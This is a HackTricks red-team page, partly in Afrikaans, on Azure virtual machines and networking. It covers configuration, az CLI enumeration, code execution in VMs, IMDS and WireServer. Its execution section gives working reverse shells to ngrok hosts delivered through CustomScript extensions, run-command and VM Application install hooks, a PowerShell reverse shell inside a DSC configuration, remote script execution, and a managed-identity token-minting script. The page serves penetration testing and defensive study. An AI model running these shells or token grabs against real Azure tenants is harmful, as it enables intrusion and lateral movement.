Az - Virtual Machines & Network
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Azure Networking Basic Info
Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:
VMs Basic information
Azure Virtual Machines (VMs) is buigsame, op-aanvraag cloud-based servers that let you run Windows or Linux operating systems. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
Security Configurations
- Availability Zones: Availability zones is aparte groepe van datacenters binne ’n spesifieke Azure streek wat fisies geskei is om die risiko te verminder dat multiple zones deur plaaslike outages of disasters beïnvloed word.
- Security Type:
- Standard Security: This is the default security type that does not require any specific configuration.
- Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
- Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
- Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
- VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
- It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
- NIC network security group:
- None: Basically opens every port
- Basic: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Advanced: Select a security group
- Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
- Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
- Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- Heath monitor: By default check protocol HTTP in port 80
- Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
- Most VM related resources also support locks like disks, snapshots…
- Locks can also be applied at resource group and subscription levels
Disks & snapshots
- It’s possible to enable to attach a disk to 2 or more VMs
- By default every disk is encrypted with a platform key.
- Same in snapshots
- By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
- Same in snapshots
- It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
- Same in snapshots
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Images, Gallery Images & Restore points
’n VM image is ’n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om ’n nuwe virtual machine (VM) te skep. Die verskil tussen ’n image en ’n disk snapshot is dat ’n disk snapshot ’n leesalleen, point-in-time kopie van ’n enkele managed disk is, wat hoofsaaklik vir backup of troubleshooting gebruik word, terwyl ’n image veelvuldige disks kan bevat en ontwerp is om as ’n sjabloon te dien vir die skep van nuwe VMs.
Images kan bestuur word in die Images section van Azure of binne Azure compute galleries wat dit moontlik maak om versions te genereer en die image kruis-tenant te share of dit selfs publiek te maak.
’n restore point stoor die VM-konfigurasie en point-in-time application-consistent snapshots van al die managed disks wat aan die VM gekoppel is. Dit hou verband met die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit op daardie spesifieke punt was.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
Van die docs: Site Recovery help om besigheidskontinuïteit te verseker deur besigheidsapps en workloads aan die gang te hou tydens outages. Site Recovery replicates workloads wat op physical en virtual machines (VMs) loop vanaf ’n primary site na ’n secondary location. Wanneer ’n outage by jou primary site plaasvind, fail you over na ’n secondary location, en kry toegang tot apps van daar af. Nadat die primary location weer loop, kan jy terug fail na dit.
Azure Bastion
Azure Bastion maak secure en seamless Remote Desktop Protocol (RDP) en Secure Shell (SSH) access tot jou virtual machines (VMs) direk via die Azure Portal of deur ’n jump box moontlik. Deur die behoefte aan public IP addresses op jou VMs uit te skakel.
Die Bastion deploy ’n subnet genaamd AzureBastionSubnet met ’n /26 netmask in die VNet waarop dit moet werk. Dan laat dit toe om via die browser aan internal VMs te connect met RDP en SSH, en vermy dit om ports van die VMs aan die Internet bloot te stel. Dit kan ook as ’n jump host werk.
Om al die Azure Bastion Hosts in jou subscription te lys en via hulle aan VMs te connect, kan jy die volgende commands gebruik:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Die Azure Instance Metadata Service (IMDS) verskaf inligting oor lopende virtual machine instances om met hul bestuur en konfigurasie te help. Dit bied besonderhede soos die SKU, storage, network configurations, en inligting oor komende maintenance events via REST API beskikbaar by die nie-roeteerbare IP address 169.254.169.254, wat slegs van binne die VM toeganklik is. Kommunikasie tussen die VM en IMDS bly binne die host, wat veilige toegang verseker. Wanneer IMDS bevraagteken word, behoort HTTP clients binne die VM web proxies te omseil om behoorlike kommunikasie te verseker.
Verder, om die metadata endpoint te kontak, moet die HTTP request die header Metadata: true hê en mag dit nie die header X-Forwarded-For hê nie.
Wanneer daar ’n access token vir die metadata endpoint aangevra word, sal die metadata service by verstek die system assigned managed identity gebruik om die token te genereer, as daar enige system assigned managed identity is. In die geval van net EEN user assigned managed identity, sal dit by verstek gebruik word. Indien daar egter geen system assigned managed identity is nie en daar is multiple user assigned managed identities, sal die metadata service ’n error terugstuur wat aandui dat daar multiple managed identities is en dat dit nodig is om te spesifiseer watter een om te gebruik.
Kyk hoe om dit te enumereer in:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
Code Execution in VMs
VM Extensions
Azure VM extensions is klein toepassings wat post-deployment configuration en outomatiseringstake op Azure virtual machines (VMs) verskaf.
Dit sal toelaat om arbitrary code binne VMs uit te voer.
Die vereiste permission is Microsoft.Compute/virtualMachines/extensions/write.
Dit is moontlik om al die beskikbare extensions te lys met:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Dit is moontlik om custom extensions uit te voer wat custom code uitvoer:
- Execute a revers shell
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Voer ’n script uit wat op die internet geleë is
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Relevante VM-uitbreidings
Die vereiste toestemming is steeds Microsoft.Compute/virtualMachines/extensions/write.
VMAccess-uitbreiding
Hierdie uitbreiding laat toe om die wagwoord te verander (of te skep as dit nie bestaan nie) van gebruikers binne Windows VMs.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
Dit is ’n VM extension wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VMs te bestuur. Daarom kan dit gebruik word om arbitrêre commands in Windows VMs deur hierdie extension uit te voer:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
Dit is ’n VM-uitbreiding wat dit moontlik maak om runbooks in VMs vanaf ’n automation account uit te voer. Vir meer inligting, kyk die Automation Accounts service.
VM Applications
Hierdie is pakkette met al die application data en install and uninstall scripts wat gebruik kan word om maklik application in VMs by te voeg en te verwyder.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Hierdie is die paths waar die applications binne die file system afgelaai word:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Kyk hoe om nuwe applications te installeer in https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Dit is moontlik om individual apps en galleries met ander subscriptions of tenants te deel. Dit is baie interessant omdat dit ’n attacker kan toelaat om ’n application te backdoor en na ander subscriptions en tenants te pivot.
Maar daar is nie ’n “marketplace” vir vm apps soos wat daar vir extensions is nie.
Die permissions wat vereis word, is:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Exploitation example om arbitrary commands uit te voer:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
User data
Dit is persistent data wat enige tyd vanaf die metadata endpoint herwin kan word. Let daarop dat in Azure user data verskil van AWS en GCP omdat as jy ’n script hier plaas dit nie by verstek uitgevoer word nie.
Custom data
Dit is moontlik om sekere data na die VM oor te dra wat in verwagte paths gestoor sal word:
- In Windows word custom data geplaas in
%SYSTEMDRIVE%\AzureData\CustomData.binas ’n binary file en dit word nie verwerk nie. - In Linux is dit gestoor in
/var/lib/waagent/ovf-env.xmlen nou word dit gestoor in/var/lib/waagent/CustomData/ovf-env.xml - Linux agent: Dit verwerk nie custom data by verstek nie, ’n custom image met die data geaktiveer is nodig
- cloud-init: By verstek verwerk dit custom data en hierdie data kan in verskeie formate wees. Dit kan maklik ’n script uitvoer deur net die script in die custom data te stuur.
- Ek het probeer en beide Ubuntu en Debian voer die script uit wat jy hier plaas.
- Dit is ook nie nodig om user data te aktiveer sodat dit uitgevoer word nie.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Run Command
Dit is die mees basiese meganisme wat Azure bied om arbitrary commands in VMs uit te voer. Die vereiste permission is Microsoft.Compute/virtualMachines/runCommand/action.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Azure WireServer & GoalState
Azure VMs stel interne platform-endpoints bloot wat gebruik word vir konfigurasie, metadata-herwinning en identiteitbestuur. Om die verskil tussen hulle te verstaan is krities vir enumeration, privilege escalation en post-exploitation.
Wire Server (Azure Fabric Endpoint)
Die Azure WireServer is ’n interne Azure IP (168.63.129.16) wat deur die platform gebruik word om met die VM te kommunikeer.
Dit is verantwoordelik vir:
- Kommunikasie met die VM Agent
- Aflewering van:
- GoalState
- ExtensionsConfig
- Interne VM-konfigurasie (insluitend identities)
- DHCP- & DNS-dienste
- Health monitoring
GoalState & ExtensionsConfig
Die GoalState verteenwoordig die gewenste konfigurasie van die VM soos deur Azure gedefinieer. Dit kan die volgende insluit:
- Extensions-konfigurasie
- Managed identities
- Provisioning state
- Agent-instruksies
Die ExtensionsConfig bevat gedetailleerde konfigurasie van VM extensions en kan die volgende insluit:
- User Assigned Managed Identities
- Extension settings
- Secrets (afhangend van die extension)
Hierdie endpoints word tipies verkry via:
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
Toegangsoorwegings
Die WireServer-IP is oor die algemeen bereikbaar van binne die VM deur die guest network stack. Dit is nie net beperk tot die Azure VM Agent, Run Command, of VM extensions nie. Microsoft dokumenteer selfs agentless Linux provisioning-voorbeelde waar gewone in-guest scripts GoalState direk vanaf 168.63.129.16 navraag doen.
Maar nie elke proses sal noodwendig dieselfde praktiese resultaat kry nie:
- Sommige endpoints vereis Azure-spesifieke headers, soos
x-ms-version: 2012-11-30vir GoalState. - Plaaslike guest controls kan toegang blokkeer of verander, insluitend host firewall rules, proxies, routes, network namespaces, containers, of endpoint protection.
- VM extensions en Run Command voer dikwels uit as
root/SYSTEMdeur die VM Agent, so hulle kan plaaslike OS-beperkings omseil wat ’n interaktiewe user raak. - Sommige data is agent/extension-spesifiek en kan afhang van die VM se provisioning state, geïnstalleerde agent, gekonfigureerde extensions, of managed identity configuration.
Daarom, as ’n request werk vanaf Run Command maar faal vanaf SSH, is die gewone verduideliking ’n verskil in OS user, environment, routing, proxy, firewall, of namespace, nie ’n algemene Azure-reël dat slegs agent execution contexts 168.63.129.16 kan bereik nie.
In lab testing was hierdie onderskeid sigbaar: Linux/Windows VM Agent execution deur Run Command of Custom Script extensions kon GoalState op 168.63.129.16 bereik, terwyl ’n normale SSH session op ’n ander Linux VM steeds IMDS kon bereik maar time out het toe GoalState navraag gedoen is. Behandel WireServer/GoalState as nuttig maar environment-dependent; moenie daarop staatmaak as die kanonieke manier om managed identities te enumereer nie.
Managed Identity Access Van Binne Die VM
Die betroubare manier om ’n VM se managed identities te gebruik is die IMDS managed identity endpoint by 169.254.169.254, nie die WireServer ExtensionsConfig XML nie. Scripts wat slegs ExtensionsConfig vir UserAssignedIdentity nodes deursoek is nie betroubaar nie omdat:
- Die VM se managed identity assignment is nie gewaarborg om as
UserAssignedIdentitynodes in extension XML voorgestel te word nie. - Hulle mis system-assigned managed identities.
- Hulle vind slegs user-assigned identities as die huidige GoalState/extension data toevallig die verwagte XML shape blootstel.
Microsoft se gedokumenteerde security model is dat alle code wat op die VM loop tokens kan versoek vir die managed identities wat op daardie VM beskikbaar is. Dit is bevestig vanaf:
- Linux SSH as ’n gewone VM user.
- Linux Run Command deur die VM Agent.
- Linux Custom Script extension deur die VM Agent.
- Windows Custom Script extension as
NT AUTHORITY\SYSTEM.
In al daardie kontekste kon IMDS tokens mint vir Management, Microsoft Graph/Entra ID, Key Vault, en Storage wanneer die aangevraagde identity vir die VM beskikbaar was.
Daar is twee verskillende probleme wat maklik verwar kan word:
- Kry ’n token vir ’n bekende identity: As die identity aan die VM toegewys is, kan IMDS tokens uitreik vir verskillende audiences soos
https://management.azure.com/,https://graph.microsoft.com/,https://vault.azure.net, enhttps://storage.azure.com/. As verskeie user-assigned identities bestaan, versoek ’n spesifieke een metclient_id,object_id, ofmsi_res_id. - Ontdek elke attached identity van binne die VM: IMDS bied nie ’n eenvoudige “list all identities” endpoint nie. ’n Praktiese metode is om ’n default Management token te kry, die VM resource deur ARM te lees, en die
identityproperty te inspekteer. Dit werk slegs as daardie managed identity permissions soosMicrosoft.Compute/virtualMachines/readop die VM het. As ARM403teruggee, kan die token steeds geldig en bruikbaar wees, maar dit kan nie die VM se volle identity list enumereer nie.
As ARM discovery misluk, kan jy steeds WireServer/HostGAPlugin-sources soos GoalState en http://168.63.129.16:32526/vmSettings probeer om na identity-agtige velde te soek (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) en dan IMDS vir tokens met daardie selectors vra. Dit is ’n fallback, nie ’n waarborg nie: daardie endpoints is context-dependent en mag glad geen managed identity selectors blootstel nie.
Die volgende voorbeelde versoek eers ’n token. Dan probeer hulle die VM resource vanaf Azure Resource Manager lees en sy identity property uitdruk. Die tweede stap werk slegs as die managed identity permissions soos Microsoft.Compute/virtualMachines/read op die VM het.
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
Privilege Escalation
Az - Virtual Machines & Network Privesc
Unauthenticated Access
Post Exploitation
Az - VMs & Network Post Exploitation
Persistence
References
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command
- https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux
- https://www.cybercx.com.au/blog/azure-ssrf-metadata/
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

